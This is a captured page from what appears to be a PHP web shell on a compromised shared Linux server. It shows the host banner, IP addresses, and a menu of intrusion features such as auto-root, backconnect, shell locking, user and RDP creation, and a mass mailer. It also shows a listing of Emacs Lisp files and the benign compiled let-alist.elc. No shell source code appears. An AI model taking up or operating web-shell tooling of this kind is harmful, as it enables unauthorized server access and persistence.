Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
27.1 /
lisp /
emacs-lisp /
[ HOME SHELL ]
Name
Size
Permission
Action
advice.elc
54
KB
-rw-r--r--
autoload.elc
28.25
KB
-rw-r--r--
avl-tree.elc
27.45
KB
-rw-r--r--
backquote.elc
4.68
KB
-rw-r--r--
backtrace.elc
40.98
KB
-rw-r--r--
benchmark.elc
3.74
KB
-rw-r--r--
bindat.elc
10.73
KB
-rw-r--r--
byte-opt.elc
39.59
KB
-rw-r--r--
byte-run.elc
17.44
KB
-rw-r--r--
bytecomp.elc
154.17
KB
-rw-r--r--
cconv.elc
20.71
KB
-rw-r--r--
chart.elc
25.98
KB
-rw-r--r--
check-declare.elc
9.01
KB
-rw-r--r--
checkdoc.elc
74.78
KB
-rw-r--r--
cl-extra.elc
29.37
KB
-rw-r--r--
cl-generic.elc
59.25
KB
-rw-r--r--
cl-indent.elc
18.03
KB
-rw-r--r--
cl-lib.elc
31.72
KB
-rw-r--r--
cl-loaddefs.el
45.79
KB
-rw-r--r--
cl-macs.elc
90.7
KB
-rw-r--r--
cl-preloaded.elc
27.28
KB
-rw-r--r--
cl-print.elc
14.77
KB
-rw-r--r--
cl-seq.elc
38.35
KB
-rw-r--r--
copyright.elc
10.17
KB
-rw-r--r--
crm.elc
7.62
KB
-rw-r--r--
cursor-sensor.elc
6.74
KB
-rw-r--r--
debug.elc
36.42
KB
-rw-r--r--
derived.elc
11.88
KB
-rw-r--r--
disass.elc
6.11
KB
-rw-r--r--
easy-mmode.elc
19.78
KB
-rw-r--r--
easymenu.elc
19.88
KB
-rw-r--r--
edebug.elc
123.13
KB
-rw-r--r--
eieio-base.elc
17.17
KB
-rw-r--r--
eieio-compat.elc
8.41
KB
-rw-r--r--
eieio-core.elc
36.91
KB
-rw-r--r--
eieio-custom.elc
15.8
KB
-rw-r--r--
eieio-datadebug.elc
3.17
KB
-rw-r--r--
eieio-loaddefs.el
3.96
KB
-rw-r--r--
eieio-opt.elc
9.32
KB
-rw-r--r--
eieio-speedbar.elc
13.13
KB
-rw-r--r--
eieio.elc
33.03
KB
-rw-r--r--
eldoc.elc
19.14
KB
-rw-r--r--
elint.elc
30.6
KB
-rw-r--r--
elp.elc
12.68
KB
-rw-r--r--
ert-x.elc
11.48
KB
-rw-r--r--
ert.elc
177.96
KB
-rw-r--r--
ewoc.elc
25.26
KB
-rw-r--r--
faceup.elc
16.97
KB
-rw-r--r--
find-func.elc
21.61
KB
-rw-r--r--
float-sup.elc
1.21
KB
-rw-r--r--
generator.elc
27.42
KB
-rw-r--r--
generic.elc
7.18
KB
-rw-r--r--
gv.elc
22.69
KB
-rw-r--r--
helper.elc
3.96
KB
-rw-r--r--
inline.elc
8.37
KB
-rw-r--r--
let-alist.elc
3.04
KB
-rw-r--r--
lisp-mnt.elc
22.59
KB
-rw-r--r--
lisp-mode.elc
38.03
KB
-rw-r--r--
lisp.elc
21.44
KB
-rw-r--r--
macroexp.elc
18.01
KB
-rw-r--r--
map-ynp.elc
10.54
KB
-rw-r--r--
map.elc
18.25
KB
-rw-r--r--
nadvice.elc
17.65
KB
-rw-r--r--
package-x.elc
9.06
KB
-rw-r--r--
package.elc
146.54
KB
-rw-r--r--
pcase.elc
23.11
KB
-rw-r--r--
pp.elc
5.5
KB
-rw-r--r--
radix-tree.elc
5.88
KB
-rw-r--r--
re-builder.elc
25.78
KB
-rw-r--r--
regexp-opt.elc
6.3
KB
-rw-r--r--
regi.elc
6
KB
-rw-r--r--
ring.elc
6.32
KB
-rw-r--r--
rmc.elc
4.79
KB
-rw-r--r--
rx.elc
40.69
KB
-rw-r--r--
seq.elc
23.64
KB
-rw-r--r--
shadow.elc
9.34
KB
-rw-r--r--
smie.elc
48.84
KB
-rw-r--r--
subr-x.elc
11.17
KB
-rw-r--r--
syntax.elc
26.13
KB
-rw-r--r--
tabulated-list.elc
26.57
KB
-rw-r--r--
tcover-ses.elc
14.29
KB
-rw-r--r--
tcover-unsafep.elc
3.87
KB
-rw-r--r--
testcover.elc
23.03
KB
-rw-r--r--
text-property-search.elc
8.13
KB
-rw-r--r--
thunk.elc
3.06
KB
-rw-r--r--
timer-list.elc
4.3
KB
-rw-r--r--
timer.elc
21.65
KB
-rw-r--r--
tq.elc
3.99
KB
-rw-r--r--
trace.elc
7.27
KB
-rw-r--r--
unsafep.elc
4.45
KB
-rw-r--r--
warnings.elc
9.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : let-alist.elc
;ELC ;;; Compiled ;;; in Emacs version 27.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. ;;; This file does not contain utf-8 non-ASCII characters, ;;; and so can be loaded in Emacs versions earlier than 23. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; #@192 Return alist of symbols inside DATA that start with a `.'. Perform a deep search and return an alist where each car is the symbol, and each cdr is the same symbol without the `.'. (fn DATA) (defalias 'let-alist--deep-dot-search #[257 "\2119\203 \300!\301\302\"\205 \303\304\305\306\211$!BC\207\307!\203* \310\311\312\313\"\"\207\211:\2041 \306\207\211@\314=\203> \313A@!\207\315\313@!\313A!\"\207" [symbol-name string-match "\\`\\." intern replace-match "" nil vectorp apply nconc mapcar let-alist--deep-dot-search let-alist append] 9 (#$ . 409)]) #@76 Return a sexp used to access SYMBOL inside VARIABLE. (fn SYMBOL VARIABLE) (defalias 'let-alist--access-sexp #[514 "\300!\301!\302\303\"\203 \202 \304\305\306\307\310\"\237\"\"\207" [let-alist--remove-dot symbol-name string-match "\\`\\." let-alist--list-to-sexp mapcar intern split-string "\\."] 10 (#$ . 976)]) #@79 Turn symbols LIST into recursive calls to `cdr' `assq' on VAR. (fn LIST VAR) (defalias 'let-alist--list-to-sexp #[514 "\300\301\302@DA\203 \303A\"\202 ED\207" [cdr assq quote let-alist--list-to-sexp] 8 (#$ . 1303)]) #@50 Return SYMBOL, sans an initial dot. (fn SYMBOL) (defalias 'let-alist--remove-dot #[257 "\300!\301\302\"\203 \303\304\305\306\211$!\202 \207" [symbol-name string-match "\\`\\." intern replace-match "" nil] 8 (#$ . 1533)]) #@886 Let-bind dotted symbols to their cdrs in ALIST and execute BODY. Dotted symbol is any symbol starting with a `.'. Only those present in BODY are let-bound and this search is done at compile time. For instance, the following code (let-alist alist (if (and .title .body) .body .site .site.contents)) essentially expands to (let ((.title (cdr (assq \='title alist))) (.body (cdr (assq \='body alist))) (.site (cdr (assq \='site alist))) (.site.contents (cdr (assq \='contents (cdr (assq \='site alist)))))) (if (and .title .body) .body .site .site.contents)) If you nest `let-alist' invocations, the inner one can't access the variables of the outer one. You can, however, access alists inside the original alist by using dots inside the symbol, as displayed in the example above. (fn ALIST &rest BODY) (defalias 'let-alist '(macro . #[385 "\300\301!\302DC\302\303\304\305\306\307\310 !\311\"\312\313%\314\315!!\"BBE\207" [make-symbol "alist" let mapcar make-byte-code 257 "\211@\301@\300\"D\207" vconcat vector [let-alist--access-sexp] 5 "\n\n(fn X)" delete-dups let-alist--deep-dot-search] 13 (#$ . 1768)])) (byte-code "\300\301\302\303#\304\301\305\306#\210\307\301!\207" [function-put let-alist lisp-indent-function 1 put edebug-form-spec t provide] 5)
Close
